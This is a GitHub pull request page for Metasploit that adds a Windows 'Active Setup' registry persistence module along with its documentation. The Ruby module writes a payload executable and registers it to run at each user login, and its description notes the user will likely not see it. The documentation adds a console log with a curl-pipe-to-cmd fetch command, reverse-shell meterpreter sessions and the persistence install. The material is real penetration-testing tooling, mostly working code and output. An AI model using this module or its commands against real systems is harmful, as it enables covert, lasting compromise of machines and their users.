-
Notifications
You must be signed in to change notification settings - Fork 14.7k
active setup persistence #20841
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
h00die
wants to merge
2
commits into
rapid7:master
Choose a base branch
from
h00die:active_setup
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+230
−0
Open
active setup persistence #20841
Changes from all commits
Commits
Show all changes
2 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
121 changes: 121 additions & 0 deletions
121
documentation/modules/exploit/windows/persistence/registry_active_setup.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,121 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| This module will register a payload to run via the Active Setup mechanism in Windows. | ||
| Active Setup is a Windows feature that runs once per user at login. | ||
| It triggers in a user context, losing privileges from admin to user. | ||
|
|
||
| Active Setup will open a popup box with "Personalized Settings" and the text | ||
| "Setting up personalized settings for: <SETUP_NAME>". However | ||
| this won't occur until the login screen has exited (but before the desktop | ||
| is loaded), and our execution is extremely fast so likely the user will not | ||
| see it. | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Start msfconsole | ||
| 2. Get an admin level shell on windows | ||
| 3. Do: `use exploit/windows/persistence/registry_active_setup` | ||
| 4. Do: `set session #` | ||
| 5. Do: `run` | ||
| 6. You should get a shell when a user logs in. | ||
|
|
||
| ## Options | ||
|
|
||
| ### PAYLOAD_NAME | ||
|
|
||
| Name of payload file to write. Random string as default. | ||
|
|
||
| ### SETUP_NAME | ||
|
|
||
| Name of the setup program. Defaults to `Update` | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### Windows 10 1909 (10.0 Build 18363) | ||
|
|
||
| Get an admin level shell | ||
|
|
||
| ``` | ||
| resource (/root/.msf4/msfconsole.rc)> setg verbose true | ||
| verbose => true | ||
| resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 | ||
| lhost => 1.1.1.1 | ||
| resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| payload => cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery | ||
| [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp | ||
| [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL | ||
| fetch_command => CURL | ||
| resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true | ||
| fetch_pipe => true | ||
| resource (/root/.msf4/msfconsole.rc)> set lport 4450 | ||
| lport => 4450 | ||
| resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3 | ||
| FETCH_URIPATH => w3 | ||
| resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB | ||
| FETCH_FILENAME => mkaKJBzbDB | ||
| resource (/root/.msf4/msfconsole.rc)> to_handler | ||
| [*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/KAdxHNQrWO8cy5I90gLkHg & start /B %TEMP%\mkaKJBzbDB.exe | ||
|
|
||
| [*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd | ||
| [*] Payload Handler Started as Job 0 | ||
| [*] Fetch handler listening on 1.1.1.1:8080 | ||
| [*] HTTP server started | ||
| [*] Adding resource /KAdxHNQrWO8cy5I90gLkHg | ||
| [*] Adding resource /w3 | ||
| [*] Started reverse TCP handler on 1.1.1.1:4450 | ||
| msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > | ||
| [*] Client 2.2.2.2 requested /KAdxHNQrWO8cy5I90gLkHg | ||
| [*] Sending payload to 2.2.2.2 (curl/7.79.1) | ||
| [*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:50118) at 2026-01-03 09:49:55 -0500 | ||
|
|
||
| msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1 | ||
| [*] Starting interaction with 1... | ||
|
|
||
| meterpreter > getuid | ||
| Server username: WIN10PROLICENSE\windows | ||
| meterpreter > sysinfo | ||
| Computer : WIN10PROLICENSE | ||
| OS : Windows 10 1909 (10.0 Build 18363). | ||
| Architecture : x64 | ||
| System Language : en_US | ||
| Domain : WORKGROUP | ||
| Logged On Users : 2 | ||
| Meterpreter : x64/windows | ||
| meterpreter > background | ||
| [*] Backgrounding session 1... | ||
| ``` | ||
|
|
||
| Install persistence | ||
|
|
||
| ``` | ||
| msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/registry_active_setup | ||
| [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| msf exploit(windows/persistence/registry_active_setup) > set session 1 | ||
| session => 1 | ||
| msf exploit(windows/persistence/registry_active_setup) > set PAYLOAD windows/meterpreter/reverse_tcp | ||
| PAYLOAD => windows/meterpreter/reverse_tcp | ||
| msf exploit(windows/persistence/registry_active_setup) > rexploit | ||
| [*] Reloading module... | ||
| [*] Exploit running as background job 1. | ||
| [*] Exploit completed, but no session was created. | ||
|
|
||
| [*] Started reverse TCP handler on 1.1.1.1:4444 | ||
| msf exploit(windows/persistence/registry_active_setup) > [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] Powershell detected on system | ||
| [*] Checking registry write access to: HKLM\Software\Microsoft\Active Setup\Installed Components\{edf4fbde-3fab-d202-8371-77de31d09b02} | ||
| [+] The target is vulnerable. Registry writable | ||
| [+] Writing payload to C:\Users\windows\AppData\Local\Temp\AdWTZDgKYI.exe | ||
| [*] Using installer guid: {a00a9f75-6cc7-bfbc-ee68-a461fe0ec2cc} | ||
| [*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20260103.5133/WIN10PROLICENSE_20260103.5133.rc | ||
| ``` | ||
|
|
||
| Logoff, and back on | ||
|
|
||
| ``` | ||
| [*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died | ||
| [*] Sending stage (188998 bytes) to 2.2.2.2 | ||
| [*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:50126) at 2026-01-03 09:53:36 -0500 | ||
| ``` |
109 changes: 109 additions & 0 deletions
109
modules/exploits/windows/persistence/registry_active_setup.rb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,109 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Exploit::Local | ||
| Rank = ExcellentRanking | ||
|
|
||
| include Msf::Exploit::Powershell | ||
| include Msf::Post::Windows::Registry | ||
| include Msf::Post::File | ||
| include Msf::Exploit::EXE | ||
| include Msf::Exploit::Local::Persistence | ||
| prepend Msf::Exploit::Remote::AutoCheck | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'Windows Registry Active Setup Persistence', | ||
| 'Description' => %q{ | ||
| This module will register a payload to run via the Active Setup mechanism in Windows. | ||
| Active Setup is a Windows feature that runs once per user at login. | ||
| It triggers in a user context, losing privileges from admin to user. | ||
|
|
||
| Active Setup will open a popup box with "Personalized Settings" and the text | ||
| "Setting up personalized settings for: <SETUP_NAME>". However | ||
| this won't occur until the login screen has exited (but before the desktop | ||
| is loaded), and our execution is extremely fast so likely the user will not | ||
| see it. | ||
| }, | ||
| 'License' => MSF_LICENSE, | ||
| 'Author' => [ | ||
| 'h00die', | ||
| ], | ||
| 'Platform' => [ 'win' ], | ||
| 'SessionTypes' => [ 'meterpreter', 'shell' ], | ||
| 'Targets' => [ | ||
| [ 'Automatic', {} ] | ||
| ], | ||
| 'References' => [ | ||
| ['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY], | ||
| ['ATT&CK', Mitre::Attack::Technique::T1547_014_ACTIVE_SETUP], | ||
| ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION], | ||
| ['URL', 'https://hadess.io/the-art-of-windows-persistence/'] | ||
| ], | ||
| 'DefaultTarget' => 0, | ||
| 'DisclosureDate' => '2015-12-01', | ||
| 'Notes' => { | ||
| 'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION], | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_options([ | ||
| OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']), | ||
| OptString.new('SETUP_NAME', [false, 'Name of the setup program.', 'Update']), | ||
| ]) | ||
| end | ||
|
|
||
| def regkey | ||
| 'HKLM\\Software\\Microsoft\\Active Setup\\Installed Components' | ||
| end | ||
|
|
||
| def writable_dir | ||
| d = super | ||
| return session.sys.config.getenv(d) if d.start_with?('%') | ||
|
|
||
| d | ||
| end | ||
|
|
||
| def check | ||
| return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell') | ||
|
|
||
| vprint_good('Powershell detected on system') | ||
|
|
||
| # test write to see if we have access | ||
| rand = Rex::Text.rand_guid | ||
|
|
||
| vprint_status("Checking registry write access to: #{regkey}\\#{rand}") | ||
| return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{regkey}\\#{rand}") if registry_createkey("#{regkey}\\#{rand}").nil? | ||
|
|
||
| registry_deletekey("#{regkey}\\#{rand}") | ||
|
|
||
| Msf::Exploit::CheckCode::Vulnerable('Registry writable') | ||
| end | ||
|
|
||
| def install_persistence | ||
| payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) | ||
| payload_exe = generate_payload_exe | ||
| payload_pathname = writable_dir + '\\' + payload_name + '.exe' | ||
| vprint_good("Writing payload to #{payload_pathname}") | ||
| fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe) | ||
|
|
||
| rand = Rex::Text.rand_guid | ||
| rand = Rex::Text.rand_guid while registry_key_exist?("#{regkey}\\#{rand}") | ||
|
|
||
| print_status("Using installer guid: #{rand}") | ||
| registry_createkey("#{regkey}\\#{rand}") | ||
| registry_setvaldata("#{regkey}\\#{rand}", 'StubPath', "cmd /c start \"\" \"#{payload_pathname}\"", 'REG_SZ') | ||
| registry_setvaldata("#{regkey}\\#{rand}", '', datastore['SETUP_NAME'], 'REG_SZ') | ||
|
|
||
| @clean_up_rc = %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey}\\#{rand}\\\" /f" -H\n) | ||
| @clean_up_rc << %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey.sub('HKLM', 'HKCU')}\\#{rand}\\\" /f" -H\n) | ||
| @clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n" | ||
| end | ||
| end | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe some of the comments from $x are relevant here? 🤔
#20843 (comment)